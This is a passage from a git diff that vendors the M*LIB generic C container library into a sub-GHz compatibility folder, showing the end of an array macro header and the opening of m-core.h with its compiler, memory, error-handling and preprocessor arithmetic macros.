+      } while (ret == M_SERIAL_OK_CONTINUE);                                  \
+    }                                                                         \
+    M_ARRA4_CONTRACT(array);                                                  \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no IN_SERIAL & INIT */ )                                               \
+
+/* Definition of the emplace_back function for arrays */
+#define M_ARRA4_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw) M_R(v);          \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION( v->size --);                                              \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);       \
+    M_IF_EXCEPTION( v->size ++);                                              \
+  }                                                                           \
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define ARRAY_DEF M_ARRAY_DEF
+#define ARRAY_DEF_AS M_ARRAY_DEF_AS
+#define ARRAY_OPLIST M_ARRAY_OPLIST
+#define ARRAY_INIT_VALUE M_ARRAY_INIT_VALUE
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/m-core.h b/lib/subghz_unleashed_compat/include/m-core.h
new file mode 100644
index 000000000..78b38b351
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/m-core.h
@@ -0,0 +1,5857 @@
+/*
+ * M*LIB - Extended Pre-processing macros module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_MACRO_H
+#define MSTARLIB_MACRO_H
+
+#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <limits.h>
+#include <string.h>
+#include <ctype.h> /* For toupper, tolower, isprint, isspace */
+#include <assert.h>
+#include <stdlib.h>  /* For abort, malloc, realloc, free, strtol, strtoul, strtoll, strtoull, strtof, strtod, strtold, rand */
+
+/* By default, always use stdio. Can be turned off in specific environment if needed
+   by defining M_USE_STDIO to 0 */
+#ifndef M_USE_STDIO
+# define M_USE_STDIO 1
+#endif
+#if M_USE_STDIO
+# include <stdio.h>
+#endif
+
+/* By default, always use stdarg. Can be turned off in specific environment if needed
+   by defining M_USE_STDARG to 0 */
+#ifndef M_USE_STDARG
+# define M_USE_STDARG 1
+#endif
+#if M_USE_STDARG
+# include <stdarg.h>
+#endif
+
+/* By default, define also the small name API (without the m_ prefix) */
+#ifndef M_USE_SMALL_NAME
+# define M_USE_SMALL_NAME 1
+#endif
+
+/* Used functions of the libc which are locale dependent:
+   toupper, tolower, isprint, isspace
+   strtol, strtoul, strtoll, strtoull, strtof, strtod, strtold
+   printf, fprintf, fscanf
+   Theses functions may behave differently in function of the locale.
+*/
+
+/***************************************************************/
+/************************ Compiler Macro ***********************/
+/***************************************************************/
+
+/* Define M*LIB version */
+#define M_CORE_VERSION_MAJOR 0
+#define M_CORE_VERSION_MINOR 8
+#define M_CORE_VERSION_PATCHLEVEL 1
+
+/* M_ASSUME is equivalent to M_ASSERT, but gives hints to compiler
+   about how to optimize the code if NDEBUG is defined.
+   It is worth in very specific places usually. */
+#if !defined(NDEBUG)
+# define M_ASSUME(x) M_ASSERT(x)
+#elif defined(__GNUC__)                                                       \
+  && (__GNUC__ * 100 + __GNUC_MINOR__) >= 408
+# define M_ASSUME(x)                                                          \
+  ( (x) ? (void) 0 : __builtin_unreachable())
+#elif defined(_MSC_VER)
+# define M_ASSUME(x) __assume(x)
+#else
+# define M_ASSUME(x) M_ASSERT(x)
+#endif
+
+/* M_LIKELY / M_UNLIKELY gives hints on the compiler of the likelihood
+   of the given condition */
+#ifdef __GNUC__
+# define M_LIKELY(cond)   __builtin_expect(!!(cond), 1)
+# define M_UNLIKELY(cond) __builtin_expect(!!(cond), 0)
+#else
+# define M_LIKELY(cond)   (cond)
+# define M_UNLIKELY(cond) (cond)
+#endif
+
+/* Define the exclusion size so that 2 atomic variables are in
+   separate cache lines. This prevents false sharing to occur within the
+   CPU. */
+#if defined(_M_X64) || defined(_M_AMD64) || defined(__x86_64__)
+# define M_ALIGN_FOR_CACHELINE_EXCLUSION 128
+#else
+# define M_ALIGN_FOR_CACHELINE_EXCLUSION 64
+#endif
+
+/* Deprecated attribute for a function */
+#if defined(__GNUC__) &&  __GNUC__ >= 4
+# define M_ATTR_DEPRECATED __attribute__((deprecated))
+#else
+# define M_ATTR_DEPRECATED
+#endif
+
+/* Extension attribute to silent warnings on extensions */
+#if defined(__GNUC__)
+# define M_ATTR_EXTENSION __extension__
+#else
+# define M_ATTR_EXTENSION
+#endif
+
+/* Extension attribute for no return function */
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+# define M_ATTR_NO_RETURN _Noreturn
+#elif defined(__GNUC__)
+# define M_ATTR_NO_RETURN  __attribute__ ((noreturn))
+#elif defined(_MSC_VER)
+# define M_ATTR_NO_RETURN  __declspec(noreturn)
+#else
+# define M_ATTR_NO_RETURN 
+#endif
+
+/* The hot/cold attribute on functions is used to inform the compiler
+   that the function is likely/unlikely to be executed. */
+#if defined(__GNUC__)
+# define M_ATTR_HOT_FUNCTION     __attribute__ ((hot))
+# define M_ATTR_COLD_FUNCTION    __attribute__ ((cold))
+#else
+# define M_ATTR_HOT_FUNCTION
+# define M_ATTR_COLD_FUNCTION
+#endif
+
+/* Prefetch . */
+#if defined(__GNUC__)
+# define M_PREFETCH(p)           __builtin_prefetch((p), 0, 0)
+#else
+# define M_PREFETCH(p) do {                                                   \
+    volatile char m_c = *(volatile char *) (p);                               \
+    (void) m_c;                                                               \
+  } while (0)
+#endif
+
+/* Definition of the typeof keyword
+   In C23, we can use the standard keyword.
+   Otherwise we use some extensions of the compilers. */
+#ifdef _MSC_VER
+#define m_typeof(x) decltype(x)
+#elif defined(__GNUC__)   
+#define m_typeof(x) __typeof__(x)
+#else
+#define m_typeof(x) typeof(x)
+#endif
+
+/* Ignore some warnings detected by some compilers in the library.
+ * Whatever we do, there is some warnings that cannot be fixed.
+ * So they are ignored in order to avoid polluting the user with
+ * theses warnings. They are:
+ *
+ * * If we build in C++ mode, they are warnings about using the C 
+ * dialect. It is expected as M*LIB is a C library.
+ *
+ * * For clang, the generated functions may not be always used,
+ * and CLANG failed to realize it.
+ * See https://bugs.llvm.org//show_bug.cgi?id=22712
+ *
+ * * A manually created buffer is given to fscanf. It is needed
+ * to give the size of the array of char to fscanf (this is the safe way).
+ */
+#if defined(__clang__) && defined(__cplusplus)
+
+/* Warnings disabled for CLANG in C++ mode */
+#if __clang_major__ >= 6
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wold-style-cast\"")                    \
+  _Pragma("clang diagnostic ignored \"-Wzero-as-null-pointer-constant\"")     \
+  _Pragma("clang diagnostic ignored \"-Wunused-function\"")                   \
+  _Pragma("clang diagnostic ignored \"-Wformat-nonliteral\"")
+#else
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wold-style-cast\"")                    \
+  _Pragma("clang diagnostic ignored \"-Wunused-function\"")                   \
+  _Pragma("clang diagnostic ignored \"-Wformat-nonliteral\"")
+#endif
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("clang diagnostic pop")
+
+#elif defined(__GNUC__) && defined(__cplusplus)
+
+/* Warnings disabled for GNU C in C++ mode
+ * However, G++ doesn't support well disabling temporary warnings.
+ * See https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53431
+ */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wold-style-cast\"")                      \
+  _Pragma("GCC diagnostic ignored \"-Wzero-as-null-pointer-constant\"")       \
+  _Pragma("GCC diagnostic ignored \"-Wformat-nonliteral\"")
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("GCC diagnostic pop")
+
+#elif defined(__clang__)
+
+/* Warnings disabled for CLANG in C mode */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wunused-function\"")                   \
+  _Pragma("clang diagnostic ignored \"-Wformat-nonliteral\"")
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("clang diagnostic pop")
+
+#elif defined(__GNUC__)
+
+#if __GNUC__ >= 12
+/* Warnings disabled for GNU C in C mode (Wstringop-overflow produces false warnings) */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wformat-nonliteral\"")                   \
+  _Pragma("GCC diagnostic ignored \"-Wstringop-overflow\"")
+#else
+/* Warnings disabled for GNU C in C mode */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wformat-nonliteral\"")
+#endif
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("GCC diagnostic pop")
+
+#else
+
+/* No warnings disabled */
+#define M_BEGIN_PROTECTED_CODE
+#define M_END_PROTECTED_CODE
+
+#endif
+
+/* Warnings disabled for CLANG in C mode:
+   Due to the genericity of the _Generic generation,
+   we cannot avoid generating both T and const T in the generic association. */
+#if defined(__clang__) && __clang_major__ >= 15
+#define M_G3N_BEGIN_PROTECTED_CODE                                            \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wunreachable-code-generic-assoc\"")    
+
+#define M_G3N_END_PROTECTED_CODE                                              \
+  _Pragma("clang diagnostic pop")
+
+#else
+
+#define M_G3N_BEGIN_PROTECTED_CODE
+#define M_G3N_END_PROTECTED_CODE
+
+#endif
+
+
+/* Autodetect if Address sanitizer is run */
+#if defined(__has_feature)
+# if __has_feature(address_sanitizer)
+#  define M_ADDRESS_SANITIZER 1
+# endif
+#endif
+#if defined(__SANITIZE_ADDRESS__) && !defined(M_ADDRESS_SANITIZER)
+#  define M_ADDRESS_SANITIZER 1
+#endif
+
+/* For visual C++, we need a standard compliant C99/C++11 */
+#if defined(_MSVC_TRADITIONAL) && _MSVC_TRADITIONAL
+# error Miss option '/Zc:preprocessor' to enable a standard-compliant C99/C++11 preprocessor.
+#endif
+
+/*
+ * Do not create the following symbols that are defined in GLIBC malloc.h
+ * M_MXFAST
+ * M_NLBLKS
+ * M_GRAIN
+ * M_KEEP
+ * M_TRIM_THRESHOLD
+ * M_TOP_PAD
+ * M_MMAP_THRESHOLD
+ * M_MMAP_MAX
+ * M_CHECK_ACTION
+ * M_PERTURB
+ * M_ARENA_TEST
+ * M_ARENA_MAX
+ */
+
+M_BEGIN_PROTECTED_CODE
+
+
+/************************************************************/
+/************************* LINKAGE **************************/
+/************************************************************/
+
+/* The following semantics apply to inline in C99:
+   - inline: No generation of an extern visible function. May inline or may call the external function.
+   - extern inline: externally visible code is emitted, so at most one translation unit can use this.
+   - static inline: No generation of an extern visible function. May inline or may call one static function.
+*/
+/* If the user requests to use only declaration for all M*LIB functions globally (M_USE_DECL),
+   it requests no inlining to the compiler and emits code as weak symbol.
+   Then at most one translation unit should request the definition of all functions (M_USE_DEF).
+   This is only supported by GCC and CLANG. You should also use the options -ffunction-sections -fdata-sections -Wl,--gc-sections
+   Otherwise it would increase the size of the executable.
+   If M_USE_FINE_GRAINED_LINKAGE, then the mechanism can be turn on / off dynamically in compilation time
+   to decl or def the functions in function of M_USE_DECL / M_USE_DEF
+   Otherwise uses the classic "M_INLINE" (inline for C++ or static inline for C)
+   inline in C++ as a weak definition by default, which may reduce code size in executable.
+*/
+#if !defined(__cplusplus) && defined(__GNUC__)
+# define M_INLINE_PRAGMA _Pragma("GCC diagnostic ignored \"-Wmissing-prototypes\"") 
+#else
+# define M_INLINE_PRAGMA
+#endif
+#if defined(__GNUC__) && defined(M_USE_FINE_GRAINED_LINKAGE)
+#define M_INLINE                                                              \
+  M_IF_EMPTY(M_USE_DECL)(                                                     \
+    M_IF_EMPTY(M_USE_DEF)(M_INLINE_PRAGMA __attribute__((noinline)) extern,   \
+                          M_INLINE_PRAGMA __attribute__((weak, noinline)) extern), \
+                          static inline)
+#elif defined(__GNUC__) && defined(M_USE_DECL)
+# ifdef M_USE_DEF
+#  define M_INLINE M_INLINE_PRAGMA __attribute__((noinline)) extern
+# else
+#  define M_INLINE M_INLINE_PRAGMA __attribute__((weak, noinline)) extern
+#endif
+#elif defined(__cplusplus) 
+#define M_INLINE inline
+#else
+#define M_INLINE static inline
+#endif
+
+
+
+/************************************************************/
+/********************* MEMORY handling **********************/
+/************************************************************/
+
+/* Default MEMORY handling macros.
+   Can be overloaded by user code.
+*/
+
+/* Define a C and C++ version for default memory allocators.
+   Note: For C build, we explicitly don't cast the return value of
+   malloc, realloc as it is safer (compilers shall warn in case
+   of invalid implicit cast, whereas they won't if there is an 
+   explicit cast) */
+
+/* Define allocators for object:
+ * void *M_MEMORY_ALLOC(ctx, type): 
+ *    Return a pointer to a new object of type 'type'
+ *    It returns NULL in case of memory allocation failure.
+ * void M_MEMORY_DEL(ctx, ptr): 
+ *    Free the object associated to the pointer.
+ * By default, 'context' does nothing.
+ * 'context' is the context parameter given to the memory functions to identify where to create the object.
+ * It exists only if M_USE_CONTEXT has been globally defined.
+ */
+#ifndef M_MEMORY_ALLOC
+#ifdef __cplusplus
+# include <cstdlib>
+# define M_MEMORY_ALLOC(ctx, type) ((type*)std::malloc (sizeof (type)))
+# define M_MEMORY_DEL(ctx, ptr)  std::free(ptr)
+#else
+# define M_MEMORY_ALLOC(ctx, type) malloc (sizeof (type))
+# define M_MEMORY_DEL(ctx, ptr)  free(ptr)
+#endif
+#endif
+
+/* Define allocators for array 
+ * void *M_MEMORY_REALLOC(context, type, ptr, o, n, perm):
+ *    Return a pointer to a new array of 'n' object of type 'type'.
+ *    If ptr is NULL, it creates a new array of type 'type' and size 'n'
+ *    If ptr is not null, it reallocates the given array of type 'type' and size 'o' to the new size.
+ *    It returns NULL in case of memory allocation failure.
+ * void M_MEMORY_FREE(type, ptr, o):
+ *    Free the object associated to the array of type 'type' at base 'ptr' of size 'o'.
+ * By default, 'o' size and 'context' do nothing.
+ * 'context' is the context parameter given to the memory functions to identify where to create the object.
+ * It exists only if M_USE_CONTEXT has been globally defined.
+ */
+#ifndef M_MEMORY_REALLOC
+#ifdef __cplusplus
+# include <cstdlib>
+# define M_MEMORY_REALLOC(ctx, type, ptr, o, n)                               \
+  ((type*) (M_UNLIKELY ((n) > SIZE_MAX / sizeof(type)) ? NULL : std::realloc ((ptr), (n)*sizeof (type))))
+# define M_MEMORY_FREE(ctx, type, ptr, o) std::free(ptr)
+#else
+# define M_MEMORY_REALLOC(ctx, type, ptr, o, n) (M_UNLIKELY ((n) > SIZE_MAX / sizeof(type)) ? NULL : realloc ((ptr), (n)*sizeof (type)))
+# define M_MEMORY_FREE(ctx, type, ptr, o) free(ptr)
+#endif
+#endif
+
+/* This macro is called on memory allocation failure.
+ * By default, it raises a fatal error and abort execution.
+ * It shall never continue execution.
+ * NOTE: Can be overloaded by user code.
+*/
+#ifndef M_MEMORY_FULL
+#define M_MEMORY_FULL(type, number)                                           \
+  M_RAISE_FATAL("Cannot allocate %zu objects of type '%s' (size '%zu') at (%s:%s:%d).\n", \
+                (size_t) (number), M_AS_STR(type), sizeof (type),             \
+                __FILE__, __func__, __LINE__)
+#endif
+
+
+// Default global memory context is to consider the global context as '0' if it is not defined.
+#ifndef M_USE_GLOBAL_CONTEXT
+#define M_USE_GLOBAL_CONTEXT 0
+#endif
+
+/* In order to support local context for memory functions, the prototypes and usages of some functions are modified
+ * so that they can accept a first argument 'm_context' which is the memory context parameter.
+ *
+ * For some functions, there is no meaning of a local memory context parameter:
+ * for all data shared between threads, only a global memory context has any meaning.
+ * For such cases, the memory context parameter is globally requested to the user through M_USE_GLOBAL_POOL or set to 0.
+ *
+ * This is controlled through M_USE_CONTEXT parameter that define the type of the memory context parameter
+ * to be used globally for all M*LIB. There is no possibility to support only some containers and not others.
+ *
+ * Several macros are defined **globally** to support such features and being internally used by M*LIB containers.
+ * They expand to nothing if the memory context parameter is not requested:
+ * * M_P_EXPAND: expand to the first parameter 'm_context' of type M_USE_CONTEXT for a function that may use memory context.
+ * * M_P_EXPAND_void: same but assume that there is no argument in the initial function.
+ * * M_R_EXPAND: expand to the first parameter 'm_context' (followed by a comma)
+ * * M_R_EXPAND_void: same but assume that there is no argument
+ * * M_R: add the parameter m_context to the function call if needed,
+ * * M_P: define the prototype of a function that may have the parameter m_context.
+ * * M_N: define the prototype of a function that don't need the parameter m_context.
+ * * M_UNUSED_CONTEXT: avoid warning of unused m_context argument
+ * * M_GLOBAL_CONTEXT: define m_context to zero, meaning it is a global memory context.
+ */
+#ifndef M_USE_CONTEXT
+// Memory context parameter not used for memory function.
+# define M_P_EXPAND
+# define M_P_EXPAND_void void
+# define M_R_EXPAND
+# define M_R_EXPAND_void
+# define M_R
+# define M_UNUSED_CONTEXT()
+# define M_GLOBAL_CONTEXT()
+#else
+// Memory context parameter is used for function using memory. (local definition to the function).
+// Expand to a prototype to a function that may not trigger exception
+# define M_P_EXPAND M_USE_CONTEXT m_context, 
+# define M_P_EXPAND_void M_USE_CONTEXT m_context
+# define M_R_EXPAND m_context ,
+# define M_R_EXPAND_void m_context
+# define M_R(...) (m_context, __VA_ARGS__)
+# define M_UNUSED_CONTEXT() (void) m_context
+# define M_GLOBAL_CONTEXT() M_USE_CONTEXT m_context = { M_USE_GLOBAL_CONTEXT }; (void) m_context
+#endif
+
+// M_P: Expand to a prototype of a function that may trigger exception / accept memory context
+// M_N: Expand to a prototype of a function that may not trigger exception or accept memory context
+// If not user defined M_F or memory context, no overloaded M_INLINE,
+// simplify the definition of M_P/M_N to provide faster compile time.
+// (faster build: 0.54s instead of 0.80s in extreme expanding)
+#if !defined(M_USE_CONTEXT) && !defined(M_F) && !defined(M_USE_FINE_GRAINED_LINKAGE) && !defined(M_USE_DEF) && !defined(M_USE_DECL)
+# define M_P(rettype, name, suffix, ...) static inline rettype name ## suffix(__VA_ARGS__)
+# define M_N(rettype, name, suffix, ...) static inline rettype name ## suffix(__VA_ARGS__)
+#else
+# define M_P(rettype, name, suffix, ...) M_INLINE rettype M_F(name, suffix)(M_P_EXPAND __VA_ARGS__)
+# define M_N(rettype, name, suffix, ...) M_INLINE rettype M_F(name, suffix)(__VA_ARGS__)
+#endif
+
+
+/************************************************************/
+/*********************  ERROR handling **********************/
+/************************************************************/
+
+/* Raise a fatal error and terminate the current execution flow.
+   Default behavior performs the following actions:
+    * format and print the error message on stderr
+    * terminate the program.
+   Can be overloaded by the user code.
+   Usage:
+    M_RAISE_FATAL(message, ...)
+  with
+    message, a printf formatted message associated to the error
+*/
+#ifndef M_RAISE_FATAL
+#if M_USE_STDIO == 1
+#define M_RAISE_FATAL(...) do {                                               \
+    fprintf(stderr, "ERROR(M*LIB): " __VA_ARGS__);                            \
+    abort();                                                                  \
+  } while (0)
+#else
+# error Without stdio.h, definitions for macro M_RAISE_FATAL is mandatory.
+#endif
+#endif
+
+
+/* Define the default assertion macro used by M*LIB.
+ * By default, it is an encapsulation of CLIB assert.
+ * NOTE: Can be overriden by user if it needs to keep finer access 
+ * on the assertions.
+ */
+//TODO: If NDEBUG, simply do nothing "no expression", to speed up compilation speed.
+#ifndef M_ASSERT
+#define M_ASSERT(expr) assert(expr)
+#endif
+
+
+/* If within the M*LIB tests, perform additional (potentially slow) checks
+ * By default, it is an encapsulation of CLIB assert for M*LIB own tests.
+ * NOTE: Can be overriden by user if it needs to keep finer access 
+ * on the assertions.
+ */
+//TODO: If NDEBUG, simply do nothing "no expression", to speed up compilation speed.
+#ifndef M_ASSERT_SLOW
+# if defined(M_USE_ADDITIONAL_CHECKS) && M_USE_ADDITIONAL_CHECKS
+#  define M_ASSERT_SLOW(n) assert(n)
+# else
+#  define M_ASSERT_SLOW(n) (void) 0
+# endif
+#endif
+
+
+/* Always perform a runtime check of the given condition
+ * NOTE: Can be overriden by user if it needs to keep finer access 
+ * on the assertions or display message on another device.
+ */
+#ifndef M_ASSERT_INIT
+#define M_ASSERT_INIT(expr, object) {                                         \
+    if (!(expr)) {                                                            \
+      M_RAISE_FATAL("Cannot initialize %s at (%s:%s:%d): %s\n",               \
+                  (object), __FILE__, __func__, __LINE__, #expr);             \
+    } } while (0)
+#endif
+
+
+/* Define an assertion check on an index, compared to its maximum.
+ * The index is supposed to be unsigned.
+ * It is only used to valid user input, not an intermediary calculus.
+ * NOTE: Can be overriden by user if it needs to keep access under control
+ * even on release mode
+ * NOTE: (index)-(index) is used to represent 0, but to avoid spurious
+ * warning by the compiler on "comparaison is always true" for unsigned
+ * numbers (It is properly optimized in 0).
+ * */
+#ifndef M_ASSERT_INDEX
+#define M_ASSERT_INDEX(index, max) do {                                       \
+    M_ASSERT((index) >= ((index)-(index)) && (index) < (max));                \
+  } while (0)
+#endif
+
+
+/* Terminate the compilation of the current unit with an error message.
+   The error parameter is a C token which classifies the error
+   with an optional message detailing the error.
+   It is not an expression and shall not be used in an expression.
+   It shall be used outside of a function, therefore it is not an expression.
+   In C99, it uses a bitfield to be compatible with most compilers
+   (so that it properly displays 'error' on the command line
+   Quite useful to terminate with a proper error message rather than
+   a garbage of error due to incorrect code generation in the methods
+   expansion.
+ */
+#if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L && defined(static_assert)) || defined(__cplusplus)
+# define M_STATIC_FAILURE(error, msg) static_assert(false, #error ": " msg);
+#else
+# define M_STATIC_FAILURE(error, msg) struct error { int error : 0;};
+#endif
+
+
+/* Test at compile time if the given condition is true.
+   The error parameter is a C token which classifies the error
+   with an optional message detailing the error.
+   In C99, it uses a bitfield to be compatible with most compilers
+   (so that it properly displays 'error' on the command line
+   C11 static Assert is not usable in expression,
+   but is usable in struct declaration. Therefore we create
+   a dummy struct, define the static assert within it
+   compute its size and cast it to void.
+   NOTE: Some implementation claims to be C11 (default mode) but fails
+   to deliver a working assert.h with static_assert so we test for the
+   explicitly presence of the macro static_assert.
+*/
+#ifdef __cplusplus
+# define M_STATIC_ASSERT(cond, error, msg)                                    \
+  ([] { static_assert(cond, #error ": " msg); } ())
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L && defined(static_assert)
+# define M_STATIC_ASSERT(cond, error, msg)                                    \
+  ((void) sizeof(struct { int error; static_assert(cond, #error ": " msg);}))
+#else
+# define M_STATIC_ASSERT(cond, error, msg)                                    \
+  ((void) sizeof(struct  { int error : !!(cond);}))
+#endif
+
+
+/* M_UNLIKELY used to test conditions that will trigger memory errors.
+   It is needed so that it can be disabled in coverage mode. */
+#define M_UNLIKELY_NOMEM(cond) M_UNLIKELY(cond)
+
+
+/***************************************************************/
+/****************** Preprocessing Times Macro ******************/
+/***************************************************************/
+
+/* Maximum number of argument which can be at least handled
+   by the macros of this header.
+   Can be increased for future release of this header.
+*/
+#define M_MAX_NB_ARGUMENT 52
+
+
+/* Basic handling of concatenation of symbols:
+ * M_C, M_C3, M_C4
+ */
+#define M_C2I(a, ...)       a ## __VA_ARGS__
+#define M_C(a, ...)         M_C2I(a, __VA_ARGS__)
+#define M_C3I(a, b, ...)    a ## b ## __VA_ARGS__
+#define M_C3(a, b, ...)     M_C3I(a ,b, __VA_ARGS__)
+#define M_C4I(a, b, c, ...) a ## b ## c ## __VA_ARGS__
+#define M_C4(a, b, c, ...)  M_C4I(a ,b, c, __VA_ARGS__)
+
+
+/* Generation of function name by concatenation
+   Can be overriden by user
+*/
+#ifndef M_F
+#define M_F(a, b)            M_C2I(a, b)
+#endif
+
+/* Concatenation of function name that enable developer to use customization
+   developer shall provide its own name customization by forcing M_F to it
+   then provide its own suffix in the namespace M_OVERRIDE_ ## suffix ():
+   Each generated suffix shall start with a comma.
+#define M_F(a,b) M_OVERRIDE_F(a,b)
+#define M_OVERRIDE__clear() , _cleanup ,
+#include "m-core.h"
+*/
+#define M_OVERRIDE_F(a, b) M_C(a, M_RET_ARG2( M_C(M_OVERRIDE_, b)() , b))
+
+/* Inverse 0 into 1 and 1 into 0 */
+#define M_INVI_0                    1
+#define M_INVI_1                    0
+#define M_INV(x)                    M_C(M_INVI_, x)
+
+/* Perform a AND between the two boolean inputs */
+#define M_ANDI_00                   0
+#define M_ANDI_01                   0
+#define M_ANDI_10                   0
+#define M_ANDI_11                   1
+#define M_AND(x,y)                  M_C3(M_ANDI_, x, y)
+
+/* Perform a AND between the three boolean inputs */
+#define M_ANDI_000                  0
+#define M_ANDI_001                  0
+#define M_ANDI_010                  0
+#define M_ANDI_011                  0
+#define M_ANDI_100                  0
+#define M_ANDI_101                  0
+#define M_ANDI_110                  0
+#define M_ANDI_111                  1
+#define M_AND3(x,y,z)               M_C4(M_ANDI_, x, y, z)
+
+/* Perform a OR between the boolean inputs */
+#define M_ORI_00                    0
+#define M_ORI_01                    1
+#define M_ORI_10                    1
+#define M_ORI_11                    1
+#define M_OR(x,y)                   M_C3(M_ORI_, x, y)
+
+/* Perform a OR between the three boolean inputs */
+#define M_ORI_000                   0
+#define M_ORI_001                   1
+#define M_ORI_010                   1
+#define M_ORI_011                   1
+#define M_ORI_100                   1
+#define M_ORI_101                   1
+#define M_ORI_110                   1
+#define M_ORI_111                   1
+#define M_OR3(x,y,z)                M_C4(M_ORI_, x, y, z)
+
+
+/* Increment the number given as argument (from [0..52[)
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_INC_%d %d\n" $i $(($i + 1)) ; done
+ */
+#define M_INC(x)          M_C(M_INC_, x)
+#define M_INC_0 1
+#define M_INC_1 2
+#define M_INC_2 3
+#define M_INC_3 4
+#define M_INC_4 5
+#define M_INC_5 6
+#define M_INC_6 7
+#define M_INC_7 8
+#define M_INC_8 9
+#define M_INC_9 10
+#define M_INC_10 11
+#define M_INC_11 12
+#define M_INC_12 13
+#define M_INC_13 14
+#define M_INC_14 15
+#define M_INC_15 16
+#define M_INC_16 17
+#define M_INC_17 18
+#define M_INC_18 19
+#define M_INC_19 20
+#define M_INC_20 21
+#define M_INC_21 22
+#define M_INC_22 23
+#define M_INC_23 24
+#define M_INC_24 25
+#define M_INC_25 26
+#define M_INC_26 27
+#define M_INC_27 28
+#define M_INC_28 29
+#define M_INC_29 30
+#define M_INC_30 31
+#define M_INC_31 32
+#define M_INC_32 33
+#define M_INC_33 34
+#define M_INC_34 35
+#define M_INC_35 36
+#define M_INC_36 37
+#define M_INC_37 38
+#define M_INC_38 39
+#define M_INC_39 40
+#define M_INC_40 41
+#define M_INC_41 42
+#define M_INC_42 43
+#define M_INC_43 44
+#define M_INC_44 45
+#define M_INC_45 46
+#define M_INC_46 47
+#define M_INC_47 48
+#define M_INC_48 49
+#define M_INC_49 50
+#define M_INC_50 51
+#define M_INC_51 52
+#define M_INC_52 53
+#define M_INC_53 M_OVERFLOW
+#define M_INC_M_OVERFLOW M_OVERFLOW
+#define M_INC_M_UNDERFLOW M_UNDERFLOW
+
+
+/* Decrement the number given in argument (from [0..52[) 
+   Generated by:
+   for i in $(seq 1 52) ; do printf "#define M_DEC_%d %d\n" $i $(($i - 1)) ; done
+*/
+#define M_DEC(x)          M_C(M_DEC_, x)
+#define M_DEC_M_UNDERFLOW M_UNDERFLOW
+#define M_DEC_M_OVERFLOW M_OVERFLOW
+#define M_DEC_0 M_UNDERFLOW
+#define M_DEC_1 0
+#define M_DEC_2 1
+#define M_DEC_3 2
+#define M_DEC_4 3
+#define M_DEC_5 4
+#define M_DEC_6 5
+#define M_DEC_7 6
+#define M_DEC_8 7
+#define M_DEC_9 8
+#define M_DEC_10 9
+#define M_DEC_11 10
+#define M_DEC_12 11
+#define M_DEC_13 12
+#define M_DEC_14 13
+#define M_DEC_15 14
+#define M_DEC_16 15
+#define M_DEC_17 16
+#define M_DEC_18 17
+#define M_DEC_19 18
+#define M_DEC_20 19
+#define M_DEC_21 20
+#define M_DEC_22 21
+#define M_DEC_23 22
+#define M_DEC_24 23
+#define M_DEC_25 24
+#define M_DEC_26 25
+#define M_DEC_27 26
+#define M_DEC_28 27
+#define M_DEC_29 28
+#define M_DEC_30 29
